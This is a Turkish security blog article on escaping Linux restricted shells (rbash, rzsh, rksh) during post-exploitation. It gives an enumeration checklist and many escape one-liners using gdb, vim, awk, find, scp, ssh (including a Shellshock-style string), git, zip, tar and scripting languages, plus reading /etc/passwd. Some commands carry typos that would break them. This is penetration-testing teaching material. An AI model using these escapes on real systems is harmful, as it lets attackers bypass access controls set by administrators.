Linux Restricted Shell Atlatma Teknikleri

Yayınlayan
Hüseyin Orçun KARATAŞ
Yayınlanma tarihi
26/2/2022
Okuma süresi
15
Dakika
go back icon
Geri Dön

Linux Restricted Shell Atlatma Teknikleri

Zafiyetli makineleri çözerken sıkça karşılaşılan bir konu olan restricted shell yani “Kısıtlı Kabuk” post exploitation aşamasında karşımıza çıkan ve sistem içerisinde gerekli komutları çalıştıramadığımız bir tür kabuktur. Sistemin güvenliğini arttırmak için alınan bir önlemdir, kabuğa bir katman daha oluşturur. Bu gün kısıtlı kabuğun nasıl atlatılabileceğinden bahsedeceğiz.

1. KISITLI KABUK NEDİR?

Kısıtlı KabukLinux Restricted Shell” adından da anlaşılabileceği üzere bash kabuğunun yani terminalin kısıtlanmış halidir. Bash kabuğuna ek bir güvenlik katmanı daha oluşturur. Komutların dışında başka kısıtlama işlemleri de gerçekleştirebilir.

Birçok farklı kısıtlı kabukRestricted Shell” tipi vardır. Bu tiplerden bazılarını bypass etmek kolay olsa da yöneticinin yapılandırmış olduğu kabuk tiplerini atlatmak daha zordur.  Yapılandırılabilir Kısıtlı Kabuk “Restricted Shell” i özellikle yöneticiler tarafından “hardening” tabirini kullandığımız sıkılaştırma işleminden sonra atlatmak çok daha zordur. Bu tarz kabuk tiplerinin atlatma yöntemi,  genelde yöneticilerin yanlış yapılandırma yapmaları, zafiyete sebebiyet verebilecek komutlara kısıtlı kabuk üzerinde izin verilmesi ile atlatma gerçekleştirilebilir.

Bazı kabuk tiplerine örnek verecek olursak;

  1. Rbash
  2. Rzsh
  3. Rksh

Atlatma tekniklerine geçmeden önce yukarıdaki kısıtlı kabukların ne olduğuna ve aralarındaki farklara bakalım, Rbash’i yukarıda anlattığım için onu eklemeyeceğim, sunumun devamı rbash üzerinden gidecek.

Rzsh (Restricted Z Shell)

Zsh, etkileşimli bir giriş kabuğu ve bir kabuk betiği komut işlemcisi olarak kullanılabilen bir UNIX komut yorumlayıcısıdır (kabuk). Standart kabuklar arasında, zsh en çok ksh kabuğuna benzer, ancak farklılık olarak pek çok geliştirme içerir. Z kabuğu olarak bilinmektedir.

Diğer kabuklarda olduğu gibi başında  -r ifadesi var ise kabuk kısıtlanmış demektir.

Rksh (Restricted Korn shell)

Kısıtlı Korn Kabuğu, çalıştırılacak bir komutun bir kabuk prosedürü olduğunu belirlerse, komutu çalıştırmak için Korn kabuğunu kullanır. Bu şekilde, sınırlı bir komut menüsü uygularken Korn kabuğunun tüm gücüne erişen bir kabuk kullanıcısı için kabuk prosedürleri sağlamak mümkündür. Bu durum, kullanıcının aynı dizinde yazma ve yürütme izinlerine sahip olmadığını varsayar

Diğer kabuklarda olduğu gibi başında  -r ifadesi var ise kabuk kısıtlanmış demektir.

Artık Restricted Shell ile gelen kısıtlamalara geçebiliriz.

2. KISITLI KABUK İLE GELEN KISITLAMALAR
  1. cd komutu
  2. Değişken değerlerini değiştirme ($SHELL, $PATH, ENV)
  3. ” / ”(eğik çizgi) argümanının kullanımı ve dosya belirtme.
  4. “_” argümanını kullanma
  5. Yönlendirme argümanlarının yasaklanması “>,<, >>, >|, >&, &>,<>”
  6. Kabuğu başka bir komutla değiştirmek için exec komutunu kullanma.
  7. Komutları etkinleştirmek için -f ve -d seçenekleriyle ekleme veya silme.
  8. Devre dışı bırakılmış kabuk yerleşiklerini etkinleştirmek için enable komutunu kullanma.
  9. Programlama dillerini ve programları engelleme.

Yukarıdan anlaşılabileceği üzere yalnızca mutlak çok kısıtlı komutları kullanarak işlem yapılabilir. Kısıtlı işlemlere ek manuel olarak kısıtlama yapılabilir.

3. KISITLI KABUK TARAMA VE KEŞİF AŞAMASI

Kısıtlı kabuğa giriş yapıldıktan sonra tarama ve keşif işlemlerini gerçekleştirmek oldukça önemlidir. Kısıtlı kabuğu etki çapını ve sistemde kurulu olan uygulama ve programlama dillerinden neleri kısıtladığını tespit etmek oldukça önemlidir.  Örneğin kısıtlı kabuğun perl programlama dilini kısıtlamaması halinde kısıtlı kabuğu bypass etmemiz mümkündür.

Bu tarz atlatmaların vahşi dünyada genelde kısıtlı kabuğu oluşturan sistem yöneticilerinin gerekli güvenlik bilgisini bilmemeleri veya kısıtlı kabuğa giriş yapacak olan personelin kısıtlı kabuğu tehlikeye atacak programlar ile çalışmak zorunda olması gibi kullanıcı tarafında bilmeden oluşturulan zafiyetler örnek verilebilir.

İçeriye ilk adımı attığınızda “env” komutunu çalıştırmayı deneyin böylelikle hangi kabuğu çalıştırdığınızı, PATH değişkeninizin nereye işaret ettiği gibi önemli bilgileri almış olacaksınız. Aşağıda görüldüğü üzere kabuğumuz /bin/bash olarak gözükmekte.

Linux-Restricted-Shell-Atlatma-1
4. TARAMA VE KEŞİF LİSTESİ
  1. Hangi kabukta olduğumuzun kontrolü sağlanmalı ($SHELL)
  2. Kabuk üzerinde kullanabildiğimiz komutların tespiti ve listelenmesi
  3. Argümanların kontrol edilmesi (>,<, /, |, <<, >>,)
  4. Sistemdeki programlama dillerinin kontrolü
  5. Root haklarında komut çalıştırabiliyormuyuz tespiti için (sudo -l)
  6. Çevresel değişkenlerin kontrolü. (env ve printenv çalıştırılması)
  7. cp komutunun kontrol edilmesi.
  8. vim ve vi editörün kontrol edilmesi.
  9. 9.awk komutunun kontrol edilmesi.
  10. Find komutunun kontrol edilmesi.
  11. SUID izinli dosyaları veya komutları kontrol edilmesi.
  12. Rvim editörün kontrol edilmesi.
  13. scp komutunun kontrol edilmesi.
  14. gdb’nin kontrol edilmesi.
  15. ftp komutunun kontrol edilmesi.
5. KISITLI KABUK ATLATMA TEKNİKLERİ

Bu kısımda anlatılan teknikler için tarama ve keşif aşaması oldukça önemlidir.

1. “/” Eğik Çizgi Argümanı Kullanarak Atlatmak

/bin/sh veya /bin/bash komutunu deneyerek atlatabilirsiniz.

2. Gdb Kullanarak Atlatmak

!/bin/sh veya  !/bin/bash komutu ile atlatmak mümkündür.

Linux-Restricted-Shell-Atlatma-2

Yukarıda görüldüğü üzere tekrardan bash kabuğuna düştük.

3. Awk Kullanarak Atlatmak

awk 'BEGIN {system("/bin/sh or /bin/bash")}'

4. FTP Kullanarak Atlatmak

!/bin/sh veya !/bin/bash

5. more/man/less Kullanarak Atlatmak

Yukarıdaki komutların üçünde de aynı şekilde kısıtlı kabuğu atlatmak mümkündür.

!/bin/sh veya !/bin/bash

6. Vim Kullanarak Atlatmak

!/bin/sh veya  !/bin/bash

7.Rvim Kullanarak Atlatmak

:python import os; os.system("/bin/bash )

8.Find Komutu İle Atlatmak

find / -name test -exec /bin/shor /bin/bash \;

9. Scp ile Atlatmak

SCP ( Secure Copy – Güvenli Kopyalama ) anlamına gelmektedir. SCP komutu ile güvenli dosya gönderim işlemi yapılabilir. Bağlantı sırasında SCP aracı SSH kullandığı için dosya transferi güvenlidir ağ tarafında mitm saldırıları yapılamaz. SCP kullanımının detayına başka bir makalede değineceğim şimdilik bu bilgiler ve temel kullanım detayı ışığında kısıtlı kabuğu atlatalım.

Scp aracı yukarıdaki yöntemlerden daha karışık olduğu için anlatmak istedim. Kullanımı ise aşağıdaki gibidir.

Aşağıdaki komut ile hedef sistemde home dizinine  id.sh dosyasını gönderir.

rbash# scp id.sh root@192.168.1.29:/home/

Aşağıdaki komut ile  home dizinindeki id.sh dosyasını çekebiliriz.

rbash# scp root@192.168.206.142:/home/id.sh  .

Kısıtlı kabuğu atlatmak için kullanacağımız 2 farklı parametre var bu parametreleri anlattıktan sonra artık atlatma tekniğini anlatabiliriz.

-F: Ssh için alternatif bir, kullanıcı başına yapılandırma dosyası belirtir. Yani cat komutu yerine  -F parametresi ile işlem yapabiliriz.

Linux-Restricted-Shell-Atlatma-3

Yukarıda görüldüğü üzere scp ile passwd dosyamızı okumayı başardık.

-S: Şifreli bağlantı için kullanılacak programı belirterek işlem yapılabilir.  Bu parametreyi programları çalıştırmak için kullanabiliriz.

Linux-Restricted-Shell-Atlatma-4

Yukarıda görüldüğü üzere echo komutunu çalıştırabildik.

Şimdi hem dosya alışverişi yapabiliyoruz hem de bu dosyaları hem okuyabiliyor ve çalıştırabiliyoruz. Artık atlatma işlemlerine geçebiliriz.

Linux-Restricted-Shell-Atlatma-5

Kendi makinemiz üzerinde oluşturduğumuz basit bir scripti hedef makineye scp kullanarak gönderebiliriz.

Linux-Restricted-Shell-Atlatma-6

Hedef makineye gönderdiğimiz scripti scp ile çalıştırdığımızda id bilgisine ulaşabiliyoruz. Bu tip scriptler ve scp kullanarak kısıtlı kabuğu atlatabiliriz.

10. Kullanıcı Bilgileri İle Kısıtlı Kabuğu Atlatmak

Hedef sistem üzerinde ilerlerken, belirli bir kullanıcının kimlik bilgilerini ele geçirebiliriz, bu kullanıcıya geçiş yaparak kısıtlı kabuktan kurtulabiliriz ancak onunda kısıtlı kabuk içerisindeki bir kullanıcı olabileceği ve şuan ki kısıtlı kabuğunuz içerisinde “su” gibi komutların engellenmiş olması yüksek ihtimaldir. Bunu aşmanın yollarından birisi ise yine bir önceki maddede yer alan scp kullanımı ile basit bir script yazmaktır.

su user -c "/bin/bash -i" veya su user –c Eğer başarıyla kullanıcıya geçiş yaparsanız aşağıdaki komut ile hangi kabukta olduğunuzu kontrol etmelisiniz. echo $0

11. SSH Kullanarak Kısıtlı Kabuğu Atlatmak

ssh kullanıcıadı@IP -t "/bin/sh" veya "/bin/bash"

ssh username@IP -t "bash --noprofile"

username@IP -t "() { :; }; /bin/bash"

12. GİT Kullanarak Kısıtlı Kabuğu Atlatmak

Git help status komutu ile git status içerisine  !/bin/bash yazmamız yeterlidir kısıtlı kabuğu atlatmış olacağız. Aşağıda daha detaylı bir biçimde görülmektedir.

inux-Restricted-Shell-Atlatma-2

!/bin/bash komutunu verdikten sonra bash kabuğuna atmaktadır. Aşağıda görüldüğü üzere git status’e girdikten sonra komutu verdiğimizde bizi bash kabuğuna attı.

Linux-Restricted-Shell-Atlatma-8
13. Zip Kullanarak Kısıtlı Kabuğu Atlatmak

zip /tmp/test.zip /tmp/test -T --unzip-command="sh -c/bin/bash"

14. Tar Kullanarak Kısıtlı Kabuğu Atlatmak

tar cf /dev/null testfile --checkpoint=1 --checkpoint-action=exec=/bin/bash

6. PROGRAMLAMA DİLLERİ İLE KISITLI KABUĞU ATLATMAK
1. Python Kullanarak Kısıtlı Kabuğu Atlatmak

python -c "import pty;pty.spawn('/bin/bash')"

2. Perl Kullanarak Kısıtlı Kabuğu Atlatmak

perl -e 'exec "/bin/bash";'

3. Ruby Kullanarak Kısıtlı Kabuğu Atlatmak

ruby -e 'exec "/bin/bash";'  

4. PHP Kullanarak Kısıtlı Kabuğu Atlatmak

php -r "system('/bin/bash');"  

5. Lua Kullanarak Kısıtlı Kabuğu Atlatmak

os.execute('/bin/sh').

6. Except Kullanarak Kısıtlı Kabuğu Atlatmak

except spawn sh then sh.

Yukarıdaki programlama dillerini kullanırken  on-liner olarak kullanıyoruz yani tek satırda işlemimizi gerçekleştiriyoruz.

Hüseyin Orçun KARATAŞ

Hüseyin Orçun KARATAŞ

Detaylı Bilgi İçin

info@gaissecurity.com